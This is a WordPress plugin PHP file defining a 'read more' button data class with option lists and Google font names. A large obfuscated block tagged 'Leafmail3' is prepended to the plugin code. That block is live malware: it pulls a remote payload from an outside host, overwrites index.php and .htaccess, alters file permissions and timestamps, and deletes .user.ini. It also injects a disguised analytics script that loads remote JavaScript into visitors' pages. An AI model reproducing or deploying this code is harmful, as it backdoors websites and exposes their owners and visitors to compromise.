<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
class ReadMoreData {
private $id;
public function __call($name, $args) {
$methodPrefix = substr($name, 0, 3);
$methodProperty = lcfirst(substr($name,3));
if ($methodPrefix=='get') {
return $this->$methodProperty;
}
else if ($methodPrefix=='set') {
$this->$methodProperty = $args[0];
}
}
public function getSavedOptions() {
$data = array();
$id = $this->getId();
if(!isset($id)) {
return $data;
}
global $wpdb;
$getSavedSql = $wpdb->prepare("SELECT * FROM ".sanitize_text_field($wpdb->prefix)."expm_maker WHERE id = %d", $id);
$result = $wpdb->get_row($getSavedSql, ARRAY_A);
if(empty($result)) {
return $data;
}
$data['type'] = $result['type'];
$data['expm-title'] = $result['expm-title'];
$data['button-width'] = $result['button-width'];
$data['button-height'] = $result['button-height'];
$data['animation-duration'] = $result['animation-duration'];
$options = json_decode($result['options'], true);
$allSavedOptions = $data+$options;
return apply_filters('yrmAllSavedOptions', $allSavedOptions);
}
public static function params() {
$horizontalAlign = array(
"left"=>"Left",
"center"=>"Center",
"right"=>"Right"
);
$arrowIconAlignment = array(
"left"=>"Left",
"right"=>"Right"
);
$hoverEffect = array(
'' => 'No effect',
'flash' => 'Flash',
'pulse' => 'Pulse',
'rubberBand' => 'RubberBand',
'shake' => 'Shake',
'tada' => 'Tada',
'jello' => 'Jello'
);
$cursor = array(
'pointer' => 'Pointer',
'help' => 'Help',
'context-menu' => 'Context Menu',
'progress' => 'Progress',
'wait' => 'Wait',
'crosshair' => 'Crosshair',
'cell' => 'Cell',
'text' => 'Text',
'vertical-text' => 'Vertical Text',
'grab' => 'Grab',
'zoom-in' => 'Zoom-in',
'not-allowed' => 'Not-allowed'
);
$vertical = array(
"top"=>"Top",
"bottom"=>"Bottom"
);
$googleFonts = array(
'Arial' => 'Arial',
'Assistant' => 'Assistant',
'Diplomata SC' => 'Diplomata SC',
'flavors'=>'Flavors',
'Open Sans'=> 'Open Sans',
'Droid Sans'=>'Droid Sans',
'Droid Serif'=>'Droid Serif',
'chewy'=>'Chewy',
'oswald' => 'Oswald',
'Dancing Script'=> 'Dancing Script',
'Merriweather'=>'Merriweather',
'Roboto Condensed'=>'Roboto Condensed',
'Oswald'=>'Oswald',
'PT Sans'=>'PT Sans',
'Montserrat'=>'Montserrat',
'ABeeZee' => 'ABeeZee',
'Abel' => 'Abel',
'Abhaya Libre' => 'Abhaya+Libre',
'Abril Fatface' => 'Abril+Fatface',
'Aclonica' => 'Aclonica',
'Acme' => 'Acme',
'Actor' => 'Actor',
'Adamina' => 'Adamina',
'Advent Pro' => 'Advent+Pro',
'Aguafina Script' => 'Aguafina+Script',
'Akronim' => 'Akronim',
'Aladin' => 'Aladin',
'Aldrich' => 'Aldrich',
'Alef' => 'Alef',
'Alegreya' => 'Alegreya',
'Alegreya SC' => 'Alegreya+SC',
'Alegreya Sans' => 'Alegreya+Sans',
'Alegreya Sans SC' => 'Alegreya+Sans+SC',
'Alex Brush' => 'Alex+Brush',
'Alfa Slab One' => 'Alfa+Slab+One',
'Alice' => 'Alice',
'Alike' => 'Alike',
'Alike Angular' => 'Alike+Angular',
'Allan' => 'Allan',
'Allerta' => 'Allerta',
'Allerta Stencil' => 'Allerta+Stencil',
'Allura' => 'Allura',
'Almendra' => 'Almendra',
'Almendra Display' => 'Almendra+Display',
'Almendra SC' => 'Almendra+SC',
'Amarante' => 'Amarante',
'Amaranth' => 'Amaranth',
'Amatic SC' => 'Amatic+SC',
'Amethysta' => 'Amethysta',
'Amiko' => 'Amiko',
'Amiri' => 'Amiri',
'Amita' => 'Amita',
'Anaheim' => 'Anaheim',
'Andada' => 'Andada',
'Andika' => 'Andika',
'Angkor' => 'Angkor',
'Annie Use Your Telescope' => 'Annie+Use+Your+Telescope',
'Anonymous Pro' => 'Anonymous+Pro',
'Antic' => 'Antic',
'Antic Didone' => 'Antic+Didone',
'Antic Slab' => 'Antic+Slab',
'Anton' => 'Anton',
'Arapey' => 'Arapey',
'Arbutus' => 'Arbutus',
'Arbutus Slab' => 'Arbutus+Slab',
'Architects Daughter' => 'Architects+Daughter',
'Archivo' => 'Archivo',
'Archivo Black' => 'Archivo+Black',
'Archivo Narrow' => 'Archivo+Narrow',
'Aref Ruqaa' => 'Aref+Ruqaa',
'Arima Madurai' => 'Arima+Madurai',
'Arimo' => 'Arimo',
'Arizonia' => 'Arizonia',
'Armata' => 'Armata',
'Arsenal' => 'Arsenal',
'Artifika' => 'Artifika',
'Arvo' => 'Arvo',
'Arya' => 'Arya',
'Asap' => 'Asap',
'Asap Condensed' => 'Asap+Condensed',
'Asar' => 'Asar',
'Asset' => 'Asset',
'Assistant' => 'Assistant',
'Astloch' => 'Astloch',
'Asul' => 'Asul',
'Athiti' => 'Athiti',
'Atma' => 'Atma',
'Atomic Age' => 'Atomic+Age',
'Aubrey' => 'Aubrey',
'Audiowide' => 'Audiowide',
'Autour One' => 'Autour+One',
'Average' => 'Average',
'Average Sans' => 'Average+Sans',
'Averia Gruesa Libre' => 'Averia+Gruesa+Libre',
'Averia Libre' => 'Averia+Libre',
'Averia Sans Libre' => 'Averia+Sans+Libre',
'Averia Serif Libre' => 'Averia+Serif+Libre',
'Bad Script' => 'Bad+Script',
'Bahiana' => 'Bahiana',
'Baloo' => 'Baloo',
'Baloo Bhai' => 'Baloo+Bhai',
'Baloo Bhaijaan' => 'Baloo+Bhaijaan',
'Baloo Bhaina' => 'Baloo+Bhaina',
'Baloo Chettan' => 'Baloo+Chettan',
'Baloo Da' => 'Baloo+Da',
'Baloo Paaji' => 'Baloo+Paaji',
'Baloo Tamma' => 'Baloo+Tamma',
'Baloo Tammudu' => 'Baloo+Tammudu',
'Baloo Thambi' => 'Baloo+Thambi',
'Balthazar' => 'Balthazar',
'Bangers' => 'Bangers',
'Barlow' => 'Barlow',
'Barlow Condensed' => 'Barlow+Condensed',
'Barlow Semi Condensed' => 'Barlow+Semi+Condensed',
'Barrio' => 'Barrio',
